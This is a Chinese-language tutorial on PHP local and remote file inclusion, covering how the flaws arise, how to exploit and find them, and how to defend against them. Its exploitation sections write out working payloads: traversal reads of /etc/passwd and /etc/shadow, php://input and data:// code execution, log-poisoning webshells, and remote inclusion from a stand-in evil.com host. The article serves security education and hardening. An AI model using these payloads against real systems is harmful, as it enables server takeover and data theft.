资讯详情

文件包含漏洞深度剖析:从LFI到RFI的原理、利用与防御

📅 2026/9/16 9:34:06 | 华诺云谱 👁 阅读
文件包含漏洞深度剖析:从LFI到RFI的原理、利用与防御
先问一个问题你手头有没有遇到过这样的PHP站点——URL里明晃晃地写着?pageabout.php、?file./pages/home或者?modulenews这类参数但你把about.php换成../../../../etc/passwd浏览器居然真的给你吐出了一堆root:x:0:0:...如果有恭喜你你亲手摸到了Web安全里一个很经典、也很要命的漏洞类型文件包含漏洞。这玩意儿在OWASP Top 10里算不上独一档的“大哥”但它的杀伤力从来不输SQL注入。轻则读掉配置文件和源码重则直接GetShell拿到服务器权限而且利用手法花样极多。我见过不少安全从业者漏洞扫描器报了个“LFI”就开始兴奋结果搞了半天也只停留在读/etc/passwd的层面连日志包含拿shell都没试过。这其实挺可惜的——文件包含在实战和CTF里都是兵家必争之地理解它的底层逻辑比背一百个payload都有用。这篇文章主要围绕**LFILocal File Inclusion本地文件包含和RFIRemote File Inclusion远程文件包含**展开把原理、利用、挖掘和防护一次讲透。内容对新手友好也能给有一定经验的读者提供一些实战视角。不管你是做安全研究、Web开发还是准备面试和打CTF这都值得花十分钟看完。1. 文件包含漏洞到底是什么——先弄清楚它为什么“危险”很多人第一次接触文件包含漏洞会把它和另一个“文件上传漏洞”搞混或者觉得它只是个“小问题”。其实完全不是。文件包含漏洞的根子在于编程语言把用户输入当成文件路径去读取或执行。这是逻辑层面的缺陷不是简单的过滤绕过能解决的。1.1 PHP的include与纯静态引用完全不同做前端或者写Java的同学可能对“引入文件”没有太多警惕心。比如C语言里的#include stdio.h那是编译期干的事写死的东西用户根本改不了。但PHP不一样include($_GET[page]);这一行代码文件路径完全来自用户的URL参数是运行时动态执行的。PHP的include、require、include_once、require_once这组函数本意是代码复用把公共的头文件、模板文件、配置文件引入进来。但当一个变量被传入这些函数并且变量值可控时攻击者就掌握了“服务器读谁的代码、执行谁的内容”的能力。而且include还有个特性和readfile完全不同它会把文件内容当作PHP代码解析执行。如果文件里只有?php phpinfo(); ?那你include进来它就直接给你跑起来了如果文件是/etc/passwd那种纯文本那PHP解析不了root:x:0:0:这种语法就会原样输出——于是你就能把服务器的敏感文件给读出来。这就能解释为什么LFI既可以“读文件”又可以“执行代码”读文件时候是文本输出执行代码的时候是解释器解析。同一个漏洞入口两种利用效果全看攻击者想让它干什么。1.2 文件包含漏洞产生的三个必然条件很多开发者在代码里写include ./pages/ . $_GET[p] . .php;觉得“我加了个目录前缀加了个后缀总该安全了吧”其实这三个条件只要同时满足漏洞就跑不掉第一个条件参数直接传入文件操作函数。$_GET、$_POST、$_COOKIE、$_REQUEST里的内容没经过严格的合法性校验就直接进了include/require。这是漏洞的入口。第二个条件路径可控但过滤不足。有些代码用了str_replace(../, , $page)来过滤目录跳转结果攻击者传....//....//替换掉中间的../后剩下的拼起来正好还是../../。这类过滤要绕过永远是猫鼠游戏防不胜防。第三个条件PHP配置允许协议流和远程包含。默认情况下allow_url_includeOffallow_url_fopenOn。前者关了RFI基本打不了后者开着配合php://这种伪协议LFI也能玩出花。很多运维不知道这两个开关的意义全凭默认配置裸奔等于给攻击者发了把钥匙。这里要特别强调一下文件包含漏洞不是PHP专属。JSP、ASP.NET、Node.js等语言同样存在类似问题比如Java的File对象配合request.getParameter拼路径也是文件包含。只是PHP因为include函数自带“代码执行”特性利用链最丰富所以业内聊文件包含大多拿PHP开刀。2. LFI本地文件包含从读取文件到拿下服务器LFI的全称是“本地文件包含”攻击目标是让服务器包含并输出本机上的文件。这是最普遍、也最好入口的一种文件包含漏洞。很多人觉得LFI只会读文件其实通过几个技巧组合LFI完全可以升级成RCE远程代码执行。2.1 利用LFI读取敏感文件——先要找到可利用的入口最基础的利用方法就是目录穿越加文件读取。假设受害者站点URL是http://target.com/index.php?pageabout.php如果about.php是直接拼到路径里的那我们把参数改成?page../../../../etc/passwd ?page../../../../etc/shadow ?page../../../../proc/self/environ ?page../../../../proc/self/cmdline ?page../../../../usr/local/etc/php/php.ini就能把系统里的敏感文件一条条拉出来。这里有几个实操要点目录层数要试。../../../../四层不行就五层、六层建议先传个../试试报错信息有时候报错会直接告诉你在哪个目录。文件名后缀会被拼上。如果代码是include $path . .php;那你读取/etc/passwd得到的实际路径是/etc/passwd.php会直接报“No such file”。这时候要么用NULL字节截断老版本PHP有效%00截断PHP 5.3.4之后已修复要么用php://filter这种不依赖后缀的伪协议或者找一个同目录下真实存在的.php文件做跳板。区分绝对路径与相对路径。有些代码做了目录限制你传../../没用但直接穿绝对路径/etc/passwd就能读到。因为PHP的include既支持相对路径也支持绝对路径很多开发者只防了../没防绝对路径。敏感文件的读取目标也很有讲究。优先读这几类文件路径为什么要读/etc/passwd确认漏洞存在、判断系统类型用户列表/proc/self/environ可能包含HTTP头、Cookie等甚至可以直接注入恶意代码/var/log/apache2/access.log、nginx/access.log日志文件可以配合日志包含拿shell/usr/local/etc/php/php.ini确认PHP配置、扩展、allow_url_include状态站点源码.php、.conf、.env拿到源码和数据库口令继续深入渗透2.2 伪协议利用绕过限制拿到ShellLFI最精彩的部分其实是PHP伪协议Wrapper的利用。所谓伪协议就是PHP里内置的、以php://、data://、phar://等开头的流封装协议。它们本来是用来处理数据流的结果被安全研究者硬生生玩成了武器。第一个要学的协议php://filter。它的作用是读取文件内容但用过滤器处理后再返回而且它不关心你拼的后缀是什么。比如代码是include $page . .php;你传?pagephp://filter/readconvert.base64-encode/resourceconfig.php它会把config.php的内容base64编码后输出。为什么要编码因为config.php是PHP代码直接include的话PHP解释器会把里面的PHP标签直接执行掉输出的可能是一片空白你什么都看不到。base64编码之后源码内容就变成一串可读的字符串了。解码即是源码。这一招在CTF和实战里不知道救了多少人。第二个要学的协议php://input。它允许你向POST请求体里塞一段数据然后让include直接执行这段数据。前提是allow_url_includeOn且allow_url_fopenOn。用法是POST /index.php?pagephp://input HTTP/1.1 Host: target.com ?php system(id); ?服务器会把请求体里的代码当成PHP直接执行这是一个稳定的RCE入口。不过现在很多PHP环境默认关掉了allow_url_include实战中能不能用取决于目标配置。第三个要学的协议data://。它的原理和php://input类似但数据直接放在URL里不需要POST请求体。格式?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8其中PD9waHAgc3lzdGVtKCdpZCcpOz8是?php system(id);?的base64编码。这个协议同样依赖allow_url_includeOn。注意php://input、data://、expect://这类可以执行代码的协议统统依赖allow_url_includeOn。而php://filter不需要这个开关因为它是读文件不是执行外部代码。所以实战中如果php://input失效php://filter大概率还能用。这两个要分清。2.3 日志注入与包含——LFI实战中最“骚”的一条路如果allow_url_include被关掉、php://filter又不支持代码执行是不是就没办法RCE了不是。LFI的终极武器是所有环境下都可能存在的、不依赖伪协议的“日志包含”。思路是这样的Web服务器会把所有访问请求记录到日志文件里例如Apache的access.log。而日志里的HTTP User-Agent字段、URL路径内容都是我们可以控制的。如果我们把一条恶意的PHP代码写进User-Agent这行代码就会被服务器存进日志。然后我们再用LFI去包含日志文件——日志文件不是PHP文件里面有很多纯文本但也有我们注入的那段PHP代码。include执行时日志里的?php ... ?就会被解析于是我们成功把代码“落地”并执行了。具体实操以Apache为例# 1. 先把恶意代码写进User-Agent curl -A ?php system(\$_GET[cmd]); ? http://target.com/index.php # 2. 再用LFI参数包含日志文件 curl http://target.com/index.php?page../../../../var/log/apache2/access.logcmdid前提是你要知道日志文件的绝对路径。Apache常见路径/var/log/apache2/access.log、/var/log/httpd/access_logNginx常见路径/var/log/nginx/access.log。还有一个更隐蔽的思路是包含/proc/self/environ因为User-Agent也会被写进这个文件里原理和日志包含基本一致。日志包含的坑在于日志文件可能很大也可能被日志轮转logrotate改名压缩了包含之后PHP解析器遇到除PHP标签外的杂乱字符会报错而且日志里可能存在转义导致代码不被解析。解决思路是让包含路径只命中我们写的那一段或者配合其他文件包含比如/proc/self/fd/1。这里不再展开但方向是可行的。3. RFI远程文件包含一行地址就能远程执行代码RFI和LFI最大的区别在于“远程”。LFI包含的是服务器本地的文件RFI则是让服务器去一个攻击者控制的远程地址拉取文件并执行。这是文件包含洞里最潇洒也最致命的一种。3.1 RFI的原理与两个关键前提RFI的代码长这样$page $_GET[page]; include($page);攻击者可以直接传?pagehttp://evil.com/shell.txt服务器会把http://evil.com/shell.txt的内容当PHP代码执行。为什么能这样因为PHP的include不仅支持本地路径还支持URL路径——只要allow_url_fopen开启并且allow_url_include也开启PHP就会向远程地址发起HTTP请求把响应内容拉下来当成PHP代码执行。这里就有两个前提条件缺一不可配置开关作用默认值allow_url_fopen是否允许读取远程文件On很多环境默认Onallow_url_include是否允许include远程文件Off默认关闭allow_url_fopen管的是file_get_contents、fopen这类文件读取函数能否访问远程URLallow_url_include单独管的是include/require能不能远程包含。默认allow_url_includeOff正是为了防RFI但很多老项目、测试环境、懒运维的服务器都会把它打开导致RFI依然能打。这也是为什么每次想到RFI我都会在实战优先探测这个开关——开了就是直接RCE。3.2 RFI利用的典型手法与实战利用手法比LFI简单粗暴得多。攻击者在自己的VPS或任意一个可访问的Web服务上放一个文件shell.txt内容可以随便命名不一定非要用.php后缀?php system($_GET[cmd]); ?然后拼接URL触发http://target.com/index.php?pagehttp://evil.com/shell.txtcmdid服务器请求http://evil.com/shell.txt拿到内容当成PHP执行于是cmdid被运行服务器把执行结果返回给攻击者。整个过程攻击者只需要一台任意能存文件、能响应HTTP请求的服务器可以是VPS、GitHub Pages甚至一个临时文件托管。RFI还有数据流和编码的变种。比如?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8data://也是一种“远程”数据源但它隐含的是数据URI而非HTTP请求。考虑到allow_url_include的限制data://和php://input的利用前提和RFI一致这里一并归类理解就可以。3.3 为什么现在RFI越来越少见但依然值得重视这几年做渗透测试遇到RFI的概率确实比LFI低不少。主要原因就是allow_url_includeOff这个硬门槛拦住了绝大多数攻击路径。再加上很多现代框架如Laravel、ThinkPHP对外部请求做了更严格的治理RFI的用武之地确实被压缩了。但少见不等于没风险RFI依然有几个值得重视的场景老系统迁移遗留。很多2010年前后部署的PHP站点至今还跑在旧服务器上配置还是当年那套allow_url_include很可能依然是On。配置管理混乱。有些开发为了调试方便在本地开了allow_url_include然后懒得上生产时关掉。WAF和设备策略绕过。RFI只要一个可控的远程URL流量上很多时候就是一个普通的GET请求很多WAF不拦这样的特征攻击面反而比SQL注入还宽。所以我对RFI的判断是当然要优先打LFI但RFI也别忽略碰到可疑参数就试一下成本几乎为零中一个就是一发入魂。4. 漏洞挖掘怎样才能发现并确认文件包含漏洞聊完原理和利用很多人会问那我在测试或者审计一个系统时怎么找到文件包含漏洞这里分白盒和黑盒两条线讲。4.1 白盒审计一条代码审计的完整思路如果你有源码直接搜危险函数是最快的。重点关注这几个include、require、include_once、require_oncefile_get_contents、readfile、fopen、File()配合文件路径控制readfile配合远程URL这个算SSRF的范畴了但思路相通搜到调用点之后做三个判断第一参数是否用户可控。从$_GET、$_POST、$_REQUEST、$_COOKIE一路追踪到include如果中途除了字符串拼接没有任何校验漏洞大概率存在。第二是否有过滤能被绕过。常见的过滤是字符串替换和正则。字符串替换最容易被....//这种嵌套绕过正则也没法穷举所有情况。如果代码里写了黑名单测一下能不能用绝对路径、URL编码二次编码、伪协议等方式绕过。第三上下文是否给了制约。比如代码强制要求.php后缀那利用方式就要切到php://filter或日志包含。如果代码只允许特定开头比如include ./pages/ . $_GET[p];那就只能往pages目录下打攻击难度提升但不是打不了——配合文件上传如果能传一个文件进pages目录照样可以落地。4.2 黑盒测试几个快速定位的通用方法没有源码就只能靠黑盒猜和试。我实测下来最有效的是下面这套流程第一步找参数。在请求里搜索page、file、path、doc、folder、root、view、include、load、content等常见关键词。注意GET参数和POST参数都要看Cookie里的参数也不要放过。第二步测异常。给参数传一个不存在的路径比如?pagezzz_nonexist_xxx看报错信息。如果页面抛出include(): Failed opening之类的Warning恭喜你这基本实锤了文件包含。如果页面配置了display_errorsOff看不到报错就传一个存在的文件比如?pageindex.php如果页面内容和正常访问index.php完全一样也能说明问题。第三步读文件验证。传/etc/passwd、../../../../etc/passwd或者用php://filter/readconvert.base64-encode/resourceindex.php看响应里有没有敏感信息。这一步是确认漏洞等级的关键。第四步测RCE边界。如果读文件成功再试php://input、data://、日志包含一层层往上探。如果读文件都不成功说明大概率有过滤或限制这时候停下来做更精细的绕过测试。黑盒测试切记两点第一测试目标必须是你有授权的系统千万别拿公网别人的网站练手第二尽量用无害payload比如echo 123、phpinfo()不要直接上system(rm -rf /)这种破坏性命令。5. 防护方案别只盯着“过滤”要层层设防说完了怎么攻击最后必须聊怎么防御。这也是不少开发者容易犯迷糊的地方——总觉得把../过滤掉就万事大吉了。不这是最次一等的防护思路我们应该做系统性防范。5.1 代码层修复校验、白名单、协议限制代码层最推荐的是白名单机制而不是黑名单过滤。?php $allowed_pages [ home pages/home.php, about pages/about.php, contact pages/contact.php, ]; $page $_GET[page] ?? home; // 不在白名单里就直接走默认页面绝对不去拼用户输入 if (!isset($allowed_pages[$page])) { $page home; } include $allowed_pages[$page];这种写法相当于从根上切断了用户输入和include函数之间的路径。用户只能从home、about、contact三个键里选根本没办法注入../或者伪协议。如果业务实在没法用白名单退而求其次可以用realpath()校验解析后的路径是否在指定目录内$base_dir realpath(__DIR__ . /pages/); $path realpath(__DIR__ . /pages/ . $_GET[page]); if ($path false || strpos($path, $base_dir) ! 0) { die(Invalid path); } include $path;另外不要用用户输入去拼SQL、拼命令、拼文件路径这是一切注入类漏洞的通用法则。所有的外部输入都要当作不可信数据来处理。5.2 配置层加固三个容易被忽略的开关代码写得好配置拖后腿的例子我也见过不少。加固PHP配置时至少确认下面几个操作已经做了第一关闭远程文件包含。确认php.ini里allow_url_includeOff如果服务是PHP-FPM或Apache mod_php模式也可以直接在配置里强制禁用。这台机器上只要allow_url_include不打开RFI这条链路就断了。第二确认allow_url_fopen按需开闭。如果业务没有远程读取文件的需求建议allow_url_fopenOff确实需要的话配合curl替代方案会更安全但至少别把它和allow_url_include同时打开。第三开启open_basedir。把这个项目能访问的目录限定在指定范围内比如open_basedir/var/www/html:/tmp这样就算攻击者传了../../../../etc/passwdPHP的include和file_get_contents也会被限制在/var/www/html和/tmp里根本读不到/etc/passwd。这一招对LFI的杀伤力是立竿见影的。5.3 架构与设备层兜底被绕过的最后防线如果代码层和配置层都被绕过了最后一道防线是架构与设备层面。Web应用防火墙WAF可以配置规则拦截../、php://、data://这类特征。不过WAF是“治标不治本”只适合兜底不要当唯一防线来用。文件上传务必做双重校验否则一旦攻击者能上传一个包含PHP代码的文件再配合LFI包含它前面所有路径限制可能都会被绕过。校验内容类型、扩展名、文件头是基础更关键的是上传目录不要放在Web根下或者禁止PHP解析。监控和日志对include报错、异常路径访问、外部URL请求做记录与告警。很多高级利用手法比如日志包含需要在服务器日志里留下大量访问痕迹如果日志监控到位攻击者很容易暴露。我的老实话是文件包含漏洞的修复核心在代码层配置层加固是辅助设备层只是兜底。只靠过滤../这种思路最多挡得住脚本小子的三板斧挡不住正儿八经的渗透测试。在安全问题上一分钱都省不得。尤其是现在不少业务跑在容器化环境里镜像里PHP配置可能沿用老版本默认值代码也是搬来的旧项目。上线前花半天做一次简单的代码审计和配置复查把include参数看清楚、把allow_url_include关掉、把open_basedir配上比事后应急要省心得多。文件包含漏洞这条路从知识体系上其实是“原理—利用—防御”闭环的典型样本。把它吃透了再去看任意文件读取、SSRF、甚至是反序列化里的一些文件操作绕过都会觉得顺很多。安全这事底层逻辑通了招式自然就能举一反三。我自己每次遇到新框架、新语言的文件操作函数都会习惯性想一想“如果这里有个变量我能不能控制它去读别的文件”带着这种角度去写代码写出来的东西大概率离“安全”更近一步。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。